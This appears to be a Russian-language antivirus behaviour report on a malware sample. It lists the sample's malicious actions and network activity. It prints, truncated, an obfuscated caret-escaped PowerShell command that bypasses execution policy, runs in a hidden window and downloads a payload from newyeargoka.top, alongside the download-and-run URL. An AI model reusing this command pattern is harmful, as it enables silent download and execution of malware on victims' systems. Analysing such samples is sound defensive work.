Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://newyeargoka.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "Po^w^E^rsHe^l^L^.EX^e^ -exEC^UtIoNp^oLiCY byPa^Ss ^-NOpRoF^iLe ^-wINdo^WS^tYlE^ ^hidDen ^(N^Ew-^objEct ^s^y^STe^m.N^e^t.wEb^cl^IenT).^DoWN^l^O^adfILe^(^'http://newyeargoka.t...
Сетевая активность
UDP
- DNS ASK ne###argoka.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "Po^w^E^rsHe^l^L^.EX^e^ -exEC^UtIoNp^oLiCY byPa^Ss ^-NOpRoF^iLe ^-wINdo^WS^tYlE^ ^hidDen ^(N^Ew-^objEct ^s^y^STe^m.N^e^t.wEb^cl^IenT).^DoWN^l^O^adfILe^(^'http://newyeargoka.t...' (со скрытым окном)
